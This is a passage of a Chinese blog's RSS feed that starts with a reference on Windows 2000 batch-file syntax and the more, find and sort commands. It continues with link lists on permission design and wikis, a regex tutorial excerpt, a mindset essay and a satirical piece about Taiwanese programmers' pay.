<br><br>跳过空行。通过指定可选的&#8220;options&#8221;参数可以覆盖默认的解析行为。这是一个引用字符串，它包含一个或多个关键字以指定不同的解析选项。关键字是： <br><br>关键字 说明 <br>eol=c 指定行尾注释字符（只一个字符） <br>skip=n 指定在文件的开头跳过的行数。 <br>delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集。 <br>tokens=x,y,m-n 指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围，指定从 mth 到 nth 的令牌。如果在令牌 = 字符串中最后一个字符是星号，则将分配附加的变量，并在解析最后一个令牌后在行上接收剩余的文本。 <br>usebackq 指定将右引号字符串作为命令执行，单引号字符串是文字字符串命令，您可以使用双引号包括 filenameset 中的文件名。 <br><br>变量替换 <br><br>此外，已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法（对于任何变量 I）： <br><br>变量（使用修改程序） 说明 <br>%~I 展开删除了周围的任何引号 (") 的 %I <br>%~fI 将 %I 展开到完全合格的路径名 <br>%~dI 只将 %I 展开到驱动器号 <br>%~pI 只将 %I 展开到路径 <br>%~nI 只将 %I 展开到文件名 <br>%~xI 只将 %I 展开到文件扩展名 <br>%~sI 展开路径以只包含短名称 <br>%~aI 将 %I 展开到文件的文件属性 <br>%~tI 将 %I 展开到文件的日期/时间 <br>%~zI 将 %I 展开到文件大小 <br>%~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名，或搜索后没有找到文件，则此修改程序将扩展为空字符串。 <br><br>修改程序可以合并以获得复杂的结果： <br><br>变量（使用合并的修改程序） 说明 <br>%~dpI 只将 %I 展开到驱动器号和路径 <br>%~nxI 只将 %I 展开到文件名和扩展名 <br>%~fsI 将 %I 展开到只包含短名称的完整路径名 <br>%~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索 %I，并展开到第一个找到结果的驱动器号和路径 <br>%~ftzaI 将 %I 扩展到与 dir 相似的输出行 <br><br>注意 <br><br>在上述范例中，%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。 <br>使用大写变量名（例如 %I）可以使代码更具可读性，并且避免与不区分大小写的修改程序混淆 <br><br>Shift <br>更改批处理文件中可替换参数的位置。 <br><br>shift <br><br>启用命令扩展（Windows 2000 中的默认设置）后，shift 命令支持 /n 开关，该开关通知命令在第 n 个参数处开始更改，n 可以是从 0 到 8 的任何一个值。例如， <br><br>SHIFT /2 <br><br>将 %3 改为 %2，将 %4 改为 %3 等等，而 %0 和 %1 保持不变。 <br><br>筛选器命令 <br>筛选器命令可以帮助您排序、查看和选择部分命令输出结果。 <br><br>通过筛选器命令传递信息 <br><br>筛选器命令可以划分、重排以及提取通过的部分信息操作。Windows 2000 有三个筛选器命令： <br><br><br>more 命令每次显示一屏文件内容或命令输出。 <br>find 命令在文件和命令输出中搜索指定字符。 <br>sort 命令按字母顺序排列文件和命令输出。 <br><br>要将输入从文件发送到筛选器命令，请使用小于符号 (&lt;)。如果要筛选器命令从其他命令获得输入，请使用管道 (|)。 <br><br>使用 more 命令来控制屏幕显示 <br><br>more 命令每次一屏地显示文件的内容或命令输出。例如，下面的 more 命令每次显示一屏 List.txt 文件的内容： <br><br>more &lt; list.txt <br><br>信息显示一屏后，会出现字&#8220;More&#8221;。要继续显示下一屏，请按键盘上任意键。要停止命令且不查看详细信息，请按 CTRL+C 键。 <br><br>如果使用产生多屏输出的命令，more 将十分有用。例如，假设定要查看硬盘的目录树。如果 Windows 2000 不能将目录在一屏内全部显示出来，请使用带管道号 (|) 和 more 命令的 tree 命令，如下例所示： <br><br>tree c:\ | more <br><br>tree 命令的第一屏输出被显示，后跟词&#8220;More&#8221;。Windows 2000 暂停，直到用户按键盘上的任意键为止（PAUSE 键除外）。 <br><br>使用 find 命令搜索文本 <br><br>find 命令在一个或多个文件中搜索指定文本。Windows 2000 显示每个包含该文本的行。find 命令可以用作筛选器命令或者标准的 Windows 2000 命令。有关将 find 用作标准的 Windows 2000 命令的信息，请单击&#8220;相关主题&#8221;列表中的 find。 <br><br>要将 find 当作筛选器命令使用，请包含小于符号 (&lt;) 和搜索的文件名。当输入文件名时，请记住搜索要区分大小写。例如，下面的命令查找文件 Trade.txt 中所有的&#8220;Pacific Rim&#8221;字符串： <br><br>find "Pacific Rim" &lt; trade.txt <br><br>要保存 find 命令的输出而不是显示输出，请使用大于号 (&gt;) 和要存储输出的文件名。例如，下面的命令查找文件 Trade.txt 中所有的&#8220;Pacific Rim&#8221;字符串，并将结果保存在 Nwtrade.txt 文件中： <br><br>find "Pacific Rim" &lt; trade.txt &gt; nwtrade.txt <br><br>对文本文件排序 <br><br>sort 命令按字母顺序排列文本文件或命令的输出。例如，可以使用以下命令对 List.txt 文件的内容进行排序，并在屏幕上显示结果： <br><br>sort &lt; list.txt <br><br>在此范例中，sort 命令对 List.txt 文件的行进行排序并显示结果，但不更改文件。要保存 sort 命令的输出而不是显示输出，请在命令中包含大于号 (&gt;) 和文件名。例如，可以使用以下命令对 List.txt 文件的行按字母顺序排序，并将结果存到 Alphlist.txt 文件中： <br><br>sort &lt; list.txt &gt; alphlist.txt <br><br>要排序命令的输出，请键入后面带有管道 (|) 和 sort 命令的命令。例如，下面的命令对 find 命令的输出结果进行排序： <br><br>find "Jones" maillst.txt | sort <br><br>在键入该命令时，Windows 2000 按字母顺序列出在其中出现&#8220;Jones&#8221;的行。 <br><br>带重定向符的合并命令 <br><br>可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如，可以使用以下命令存储包含&#8220;LOG&#8221;字符串的文件名: <br><br>dir /b | find "LOG" &gt; loglist.txt <br><br>Windows 2000 通过 find 过滤器命令发送 dir 命令的输出并将包含字符串&#8220;Log&#8221;的文件名存储在 Loglist.txt 文件中。将结果存储为文件名列表（如，A.log、Logdat.svd 和 Mylog.bat）。 <br><br>要在相同命令中使用多个筛选器，请使用管道 (|) 分隔筛选器。例如，下面的命令搜索 C 盘上的每个目录以查找包含&#8220;Log&#8221;字符串的文件名，并且每次显示一屏： <br><br>dir c:\ /s /b | find "LOG" | more <br><br>因为使用管道 (|)，Windows 2000 通过 find 命令发送 dir 命令的输出结果。find 命令只选择包含字符串&#8220;Log&#8221;的文件名。more 命令每次一屏地显示 find 命令选择的文件名。 <br>More <br>每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令，或者使用它控制其他命令的输出，例如 type 命令。当显示填充可用的查看区域时将出现 more 提示，用户可以输入许多命令来控制查看文件其余部分的方式。 <br><br>command name | more [/c] [/p] [/s] [/tn] [+n] <br><br>more [[/c] [/p] [/s] [/tn] [+n]] &lt; [drive:][path] filename <br><br>more [/c] [/p] [/s] [/tn] [+n] [files] <br><br>参数 <br><br>[drive:][path] filename <br><br>指定要显示的文件。 <br><br>command name <br><br>指定将显示其输出的命令。 <br><br>/c <br><br>显示页面前清除屏幕。 <br><br>/p <br><br>扩展换页符。 <br><br>/s <br><br>将多个空白行更改为一个空白行。 <br><br>/tn <br><br>将制表位更改为 n 个空格 <br><br>+n <br><br>显示由 n 指定的行开始的第一个文件。 <br><br>files <br><br>指定要显示的文件列表。用空格分隔文件名。 <br><br>More 子命令 <br><br>以下命令在 more 提示 (-- More --) 下接受。 <br><br>关键字 操作 <br>space 显示下一页。 <br>ENTER 显示下一行。 <br>F 显示下一个文件。 <br>q 退出。 <br>? 显示可用命令。 <br>= 显示行号。 <br>P n 显示以下 n 行。 <br>S n 跳过下面 n 行。 <br>Find <br>在一个文件或多个文件中搜索指定的文本字符串。 <br><br>当搜索到指定的文件后，find 将显示出包含指定字符串的所有行。 <br><br>find [/v] [/c] [/n] "string" [[drive:][path]filename[...]] <br><br>参数 <br><br>/v <br><br>显示未包含指定字符串的所有行。 <br><br>/c <br><br>只显示包含指定字符串的行数。 <br><br>/n <br><br>将文件行号置于每行开头。 <br><br>/I <br><br>指定搜索不区分大小写。 <br><br>"string" <br><br>指定要搜索的字符组。必须将 string 的文本包括在引号中。 <br><br>[drive:][path] filename <br><br>指定要在其中搜索指定字符串的文件的位置和名称。 <br><br>Sort <br>读取输入、排序数据并将结果写到屏幕、文件和其他设备上。 <br><br>sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3] <br><br>[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3] <br><br>参数 <br><br>/r <br><br>颠倒排序顺序，即从 Z 到 A 排序，然后从 9 到 0 排序。 <br><br>/+n <br><br>指定字符位置号 n，sort 在此处开始每次比较。例如，/+3 表示每次比较在每行的第三个字符开始。少于 n 个字符的行在其他行之前排序。默认情况下，比较在每行的第一个字符开始。 <br><br>/m kilobytes <br><br>指定用于排序的主内存数量，按千字节 (KB) 计。使用的内存最小值总是 160 KB。如果指定了内存大小，则无论有多少主内存可用，指定的确切数量（但至少 160 KB）的内存将用于排序。 <br><br>如果输入输出均为文件，在没有指定大小时，默认最大内存大小为可用主内存的 90％，否则为主内存的 45％。默认设置通常会产生最佳的性能。 <br><br>/l locale <br><br>替代由系统默认区域设置定义的字符排序顺序；即在安装 Windows 2000 时选择的语言和&#8220;国家（地区）&#8221;。目前，默认区域设置唯一的备用选项就是&#8220;C&#8221;区域设置，该区域设置比自然语言排序快，根据二进制编码对字符排序。 <br><br>/rec characters <br><br>指定记录或输入文件的行中的最多字符数（默认值为 4096，最大值为 65535）。 <br><br>[drive1:][path1]filename1 <br><br>指定要排序的文件。如果没有指定文件名，则对标准输入排序。指定输入文件比将同一文件作为标准输入重定向速度快。 <br><br>/t [drive2:][path2] <br><br>指定保留 sort 命令工作存储的目录路径，防止数据不能装入主内存。默认为使用系统临时目录。 <br><br>/o [drive3:][path3]filename3 <br><br>指定要存储排序后的输入的文件。如果没有指定，数据将写入标准输出。指定输出文件比将同一文件作为标准输出重定向速度快。</div>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/53808.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2009-01-15 23:18 <a href="http://www.cnitblog.com/seeyeah/archive/2009/01/15/53808.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>权限设计文摘</title><link>http://www.cnitblog.com/seeyeah/archive/2009/01/11/53705.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Sun, 11 Jan 2009 13:11:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2009/01/11/53705.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/53705.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2009/01/11/53705.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/53705.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/53705.html</trackback:ping><description><![CDATA[<a class=headermaintitle id=Header1_HeaderTitle href="http://www.cnblogs.com/b4n73/"><u><font color=#0000ff>等长青</font></u></a><br>1、<a title=通用权限的设计(上) href="http://www.cnblogs.com/b4n73/archive/2009/01/09/1372404.html"><u><font color=#800080>通用权限的设计(上)</font></u></a><br>2、<a title=通用权限的设计(下) href="http://www.cnblogs.com/b4n73/archive/2009/01/09/1372807.html"><u><font color=#800080>通用权限的设计(下)</font></u></a><br>3、<a class=postTitle2 id=AjaxHolder_ctl01_TitleUrl href="http://www.cnblogs.com/b4n73/archive/2009/01/10/1373458.html"><u><font color=#800080>再说权限设计</font></u></a> <br><br><a class=headermaintitle id=Header1_HeaderTitle href="http://www.cnblogs.com/zhouqi/"><u><font color=#0000ff>lukcy</font></u></a><br>1、<a class=postTitle2 id=AjaxHolder_ctl01_TitleUrl href="http://www.cnblogs.com/zhouqi/archive/2008/01/22/1047966.html"><u><font color=#800080>权限设计</font></u></a> <br><br><a href="http://www.cnblogs.com/llxxbb/"><u><font color=#800080>李学斌</font></u></a> <br>1、<a class=postTitle2 id=AjaxHolder_ctl01_TitleUrl href="http://www.cnblogs.com/llxxbb/archive/2008/04/21/Platform_UserSystem.html"><u><font color=#800080>平台架构--用户系统</font></u></a> <br><br><a class=headermaintitle id=Header1_HeaderTitle href="http://www.cnblogs.com/yukaizhao/"><u><font color=#0000ff>赵玉开</font></u></a><br>1、<a class=postTitle2 id=AjaxHolder_ctl01_TitleUrl href="http://www.cnblogs.com/yukaizhao/archive/2007/04/15/user_role_action_permission.html"><u><font color=#800080>应用程序权限设计</font></u></a> <br><br><a href="http://www.cnblogs.com/jyk/"><u><font color=#0000ff>金色海洋（jyk）</font></u></a> <br>1、<a class=postTitle2 id=AjaxHolder_ctl01_TitleUrl href="http://www.cnblogs.com/jyk/archive/2008/04/29/1176050.html"><u><font color=#0000ff>通用权限的思路。只是一个简单的思路。</font></u></a> <br>2、<a class=postTitle2 id=AjaxHolder_ctl01_TitleUrl href="http://www.cnblogs.com/jyk/archive/2008/05/01/1178753.html"><u><font color=#800080>通用权限的思路。带有数据库关系图</font></u></a> <br><br><a href="http://www.cnblogs.com/tsoukw/"><u><font color=#0000ff>Kevin Zou</font></u></a><br>1、<a id=AjaxHolder_ctl01_TitleUrl href="http://www.cnblogs.com/tsoukw/archive/2008/05/29/1210050.html"><u><font color=#800080>解耦的故事--权限设计</font></u></a> 
<img src ="http://www.cnitblog.com/seeyeah/aggbug/53705.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2009-01-11 21:11 <a href="http://www.cnitblog.com/seeyeah/archive/2009/01/11/53705.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>非常经典的正则表达式总结（原创作者：摩诘） </title><link>http://www.cnitblog.com/seeyeah/archive/2008/11/03/51019.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Mon, 03 Nov 2008 15:37:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2008/11/03/51019.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/51019.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2008/11/03/51019.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/51019.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/51019.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 摘至：http://www.cnblogs.com/X8023Z/archive/2008/11/03/2b.html前言：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;半年前我对正则表达式产生了兴趣，在网上查找过不少资料，看过不少的教程，最后在使用一个正则表达式工具RegexBuddy时发现他的教程写的非常好，可以说是我目前见过最好的正则表达式教程。...&nbsp;&nbsp;<a href='http://www.cnitblog.com/seeyeah/archive/2008/11/03/51019.html'>阅读全文</a><img src ="http://www.cnitblog.com/seeyeah/aggbug/51019.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2008-11-03 23:37 <a href="http://www.cnitblog.com/seeyeah/archive/2008/11/03/51019.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>你的心态是否如此 </title><link>http://www.cnitblog.com/seeyeah/archive/2008/08/28/48496.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Thu, 28 Aug 2008 14:39:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2008/08/28/48496.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/48496.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2008/08/28/48496.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/48496.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/48496.html</trackback:ping><description><![CDATA[摘至：<a class=postTitle2 id=AjaxHolder_ctl01_TitleUrl href="http://www.cnblogs.com/SoulStore/archive/2008/08/27/1277440.html"><u><font color=#800080>你的心态是否如此</font></u></a> <br>
<hr>
<br>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">无论在人的生活中还是事业中，一个人的心态是很重要的，有一段大家共知的名言，我个人也甚是喜欢：</span></p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">思想决定行动；行动决定习惯；习惯决定性格；性格决定命运；</span></p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">最后我忘记还在哪里看到过一句：&#8220;气度决定格局&#8221;。</span></p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">我想当我们可以去决定格局的时候，大多我们已经控制了自己的命运，完善了自己的性格，培养了自己的习惯，懂得自己的行动来源于自己的思想。而在我们思想中有一部分是我们多年来的经验、教训、收获、总结，还有一部分则是我们的心态。</span></p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">一个人只有拥有一种良好的心态才可内修其身，外修其行，才能提高自我的思想境界与个人魅力。</span></p>
<p style="TEXT-INDENT: 21pt">&nbsp;</p>
<p><strong><span style="FONT-FAMILY: 宋体">已所不欲，勿施于人</span></strong></p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">我在家排行老大，小时经常与我的弟弟妹妹们在一起玩，由于年幼又是老大就总喜欢叫弟弟妹妹们去干这干那，由于我是大哥，部分时候他们还是听话的，但也有不听话的时候，后来我的母亲告诉了我这一生都记为准则的一句话：&#8220;已所不欲，勿施于人！&#8221;，母亲的解释很简单：&#8220;你自己不愿做或做不到的事，就不要让别人去做。&#8221;记的当时我上小学，但这句话我记的非常深刻。大些后我明白一些表面听话的人是因为趋于你的权势，而真正忠于你的人是因为赞许你的品行。</span></p>
<p style="TEXT-INDENT: 21pt">&nbsp;</p>
<p><strong><span style="FONT-FAMILY: 宋体">脚踏实地，切勿好高骛远</span></strong></p>
<p style="TEXT-INDENT: 21pt">98<span style="FONT-FAMILY: 宋体">年我毕业参加了工作，作为一位初次步入社会的毕业生，我胸怀大志，我应该进什么什么样的公司，拿多少多少的工资，而对于自己的能力更是非常自信，因为在校学习期间我的计算机水平也是全校可数，但结果我想大多有过经历的人都可猜知一二。心高气傲，眼高手低，使我真正认识到了自己，我曾经看不起那些不会用电脑的部门主管（</span>98<span style="FONT-FAMILY: 宋体">年电脑还不是那么普及的，网络就更别提了），看不起我几分钟就搞定他却什么也看不懂的工程师，甚至感觉自己的领导都不如自己，只是他大概有关系才当上领导的。工作一年后，我的心情平静了，知道了自己与这个社会的差距，知道了社会与学校来比，就好比海洋与一个脸盆。我开始踏实下来，人是需要沉淀的，沉淀后才会认清自己。</span></p>
<p style="TEXT-INDENT: 21pt">&nbsp;</p>
<p><strong><span style="FONT-FAMILY: 宋体">修已之短，学彼之长</span></strong></p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">很多人可能比较了解自己的长处，同时也非常&#8220;善于发现&#8221;别人的&#8220;短处&#8221;，这里的善于发现我所指的就是调别人的不足了，某某某爱拍马屁，这是最长调的，某某某当人一面背人一面，谁谁谁怎么怎么样。但我想说的是，一个人只有认识自己的不足，发现对方的优点才可算真正的成长。拍马屁具我感觉可不是一件轻松的工作，拍的要响还不能疼，拍的要准还不能挨踢，这其中的功夫充分体见了拍屁者卓越的眼光与柔韧的沟通水准。你要是不服我所言你大可去拍一次试试，你可能会说不屑于这种行为，但你不做又说别人拍马屁比你辛勤工作轻松，你又怎会明白拍马屁的人工作风险其实也是很大的。其实我本意并非推崇这类行为，我的意思是说，不要只盯住对方的缺点，而是要从其缺点中也要发现他的优点合理用之。我感觉我们应该会经历三个阶段：</span></p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">第一：了解自己的长处，挑剔别人的短处</span></p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">第二：了解自己的短处，学习别人的长处</span></p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">第三：分析自己的优缺，学习别人的特点</span></p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">自己有优缺点，别人只有特点，社会的路很长，迈出这一步后心态与事业都会上一个台阶。</span></p>
<p style="TEXT-INDENT: 21pt">&nbsp;</p>
<p style="TEXT-INDENT: 21pt"><strong><span style="FONT-FAMILY: 宋体">不要嫉妒</span></strong></p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">嫉妒是很普遍的，也是很可怕的，它会让你乱了方寸，失去目标，错误定位，它还会侵蚀你的思想和你现有成果。做事以一个平常心的心态去面对一切，这是很重要的。处事冷静思考是通向最后胜利的基础。</span></p>
<p style="TEXT-INDENT: 21pt">&nbsp;</p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">这是我的一些人生感悟，从这些经验发展演变让我学到了更多，思想决定成败，有什么样的思想你将迎来什么样的命运。所以不要责怪自己的命不好，而是要认识到是自己的思想有问题。</span></p>
<p style="TEXT-INDENT: 21pt">&nbsp;</p>
<p style="TEXT-INDENT: 21pt"><span style="FONT-FAMILY: 宋体">感谢大家的阅读，站起来遛一圈，免的老的颈椎不好，回来坐下您再给品两句。</span></p>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/48496.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2008-08-28 22:39 <a href="http://www.cnitblog.com/seeyeah/archive/2008/08/28/48496.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于Wiki发展相关文章</title><link>http://www.cnitblog.com/seeyeah/archive/2008/07/17/46852.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Thu, 17 Jul 2008 14:17:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2008/07/17/46852.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/46852.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2008/07/17/46852.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/46852.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/46852.html</trackback:ping><description><![CDATA[1、<a title="成长速度难以乐观 中文Wiki路在何方" href="http://news.21tx.com/2006/08/31/10735.html" target=_blank>成长速度难以乐观 中文Wiki路在何方</a><br><br>2、<a title="Wiki中国发展探路：不要总拿百科说事 " href="http://oss.lzu.edu.cn/blog/article.php?tid_419.html">Wiki中国发展探路：不要总拿百科说事 </a><br><br>3、<a title="国内Wiki发展的现状与趋势探析 " href="http://dev2all.blog.51cto.com/73116/11053" target=_blank>国内Wiki发展的现状与趋势探析 </a><br><br>4、<a title=如何大灶知识型的Wiki社群 href="http://internet.chinaitlab.com/meet/532080.html" target=_blank>如何大灶知识型的Wiki社群</a><br><br>5、<a title=Wiki的商业化之道 href="http://bbs.vsharing.com/Article.aspx?aid=433679" target=_blank>Wiki的商业化之道</a> <br><br>6、<a title=百度知道到底有什么用? href="http://zhidao.baidu.com/question/34549727.html?si=5&amp;wtp=wk">百度知道到底有什么用?</a>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/46852.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2008-07-17 22:17 <a href="http://www.cnitblog.com/seeyeah/archive/2008/07/17/46852.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>程序與香雞排——蔡學鏞</title><link>http://www.cnitblog.com/seeyeah/archive/2008/07/03/46279.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Thu, 03 Jul 2008 13:47:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2008/07/03/46279.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/46279.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2008/07/03/46279.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/46279.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/46279.html</trackback:ping><description><![CDATA[<br>PS： 蔡先生的老文，看了心里有种说不出的感觉。<br><br>
<hr>
<font face="Courier New">當程序員很可憐，在台灣當程序員尤其可憐。薪資低、工作量大、地位不高、技術又容易被淘汰。難怪有人半開玩笑地告訴我，他以後不寫程序要改行去賣香雞排。 <br><br>照理說，軟件開發是很專業的領域，越是專業的領域，越是處於金字塔的尖端，應該薪資很不錯才是，但不知怎地，台灣的程序員就是從來未獲重視。我們不要表面上的重視，我們要薪資上的重視。據我所知，大陸程序員的薪資水平，比起我們台灣高出許多（從國民所得、物價、房價來比較），美國程序員的薪資更是高得讓我猛嚥口水。 <br><br>想想看，如果你在台北市租一間會漏水的小公寓，月租兩萬元（管理費和水電另計）。莫名其妙的多元入學方案實施之後，小孩壓力更大，要補習的東西更多。如果你有兩個小孩，每個月的補習費共要花上五千元。小孩要學費、生活費，又是另一個五千元。（乾脆含淚將小孩送人扶養。） <br><br>長得不怎麼好看的老婆就只會天天敷 SKII 面膜，因為她妄想 SKII 獨特的 Pitera 成分可以讓她的皮膚水水嫩嫩的，就和鄭秀文一樣。明明身材不好，卻又特別喜歡買 DKNY 昂貴的流行服裝。 <br><br>光是這些支出加上你自己的支出，就已經超過五萬元了。你認為軟件公司會花五萬元請一個程序員嗎？在台灣，程序員要有五萬元以上的收入，恐怕要另有兼職才行。 <br><br>於是你到歐萊禮兼職翻譯書，拼了老命把下班後的時間和假日的時間都拿來翻譯書，結果超過半年才翻譯完一本，還好歐萊禮仁慈不扣你延遲交稿的違約金。但這半年來身體變差了，微薄的稿酬光是拿來扣掉白蘭式雞精和補藥的支出，平均一個月也只多了約一萬元的收入，但總算因此達到收支平衡。 <br><br>但這倒也不算真正的收支平衡，意外的收入支出也是有的：統一發票中獎收入平均一個月進帳 200 元，但偶而被倒會，加上有某個不長進的親戚時常來伸手要錢，你每個月還得多支出 5,000 元。婚喪喜慶的禮金支出、平常還要繳這個稅和那個稅、這個費和那個費的 ... 每每讓你心疼地暗暗叫苦。 <br><br>台灣的軟件公司一向不肯好好地花錢僱用優秀的程序員，還奢談什麼知識經濟。在寫程序與賣香雞排之間作抉擇，如果我要留在台灣，我可能會選擇賣香雞排，如果我要出國謀生（美國、新加坡 ...），我會選擇寫程序。畢竟，要寫程序，就要到一個尊重程序員專業能力的地方。寫程序的薪資不高，就沒辦法吸收好的人才，至少我就不打算在台灣寫程序寫太久。興趣當然重要，但付不出帳單光靠興趣撐著，你認為能撐多久？賣香雞排稱不上是知識經濟，但只要不炸得太難吃，至少收入比寫程序好。 <br><br>所以我覺得，到夜市賣香雞排的提議還真是可以考慮考慮，畢竟在台灣當程序員，一家大小在除夕夜如同賣火材的小女孩一般餓死凍死的機會很高。賣香雞排，雖然辛苦，但看著香雞排老闆們眉開眼笑的，荷包滿滿的，還可以趁著傍晚開市前，開著奔馳轎車帶著全家出遊呢。 <br><br>台北市饒河街夜市的攤販告訴我，攤位租金一個月一萬元出頭，我估算了一下，如果我平均一天擺攤 6 小時，賣了香雞排 300 個，每個淨賺 13 元，一個月淨賺 117,000 元，扣掉攤位租金 15,000，可以收入約十萬新台幣（免稅），實在比程序員普遍的月薪 30,000~40,000（未稅）好太多了。而且香雞排的炸法不會每年推出新版本。 <br><br>在台灣的軟件公司內部，有許多非科班出身的程序員，他們的薪資低廉，通常又很努力。軟件公司就算聘到了這種便宜又努力的程序員，也不要太高興，因為這樣的程序員，通常都只是把目前的公司當一個學習的過渡階段，等到學得差不多，拍拍屁股就走人了，才沒打算一輩子接受這樣的低薪。但可悲的是，大部分的公司都沒有良好的程序員生涯規劃制度，反正大家互相利用。所以這些程序員很可能在做計畫的過程中，學不到東西又磨得身心俱疲。 <br><br>所以，何苦來哉！不如我們通通去賣香雞排吧！但是你們只能到通化街夜市和士林夜市賣，不可以到我屬意的饒河街夜市和我搶生意（我打聽過，饒河街的攤位租金是三者中最便宜的）。我的攤位名稱要取做什麼呢？... 嗯！就叫做「Java 雞排」好了，以紀念我曾有過的 Java 程序員身份。我打算把雞排分成三種大小，最大到最小分別叫做 J2EE、J2SE 以及 J2ME。哪天你到饒河街夜市，發現了一個乾乾瘦瘦、看起來營養不良的少年頭家用著生硬的台語在吆喝著：「來呦！來呦！好呷的香雞排，J2EE 一塊 50，J2SE 一塊 40，J2ME 一塊 30......」請你也來光顧一下吧！... 看在 Java 的份上。 </font><br>
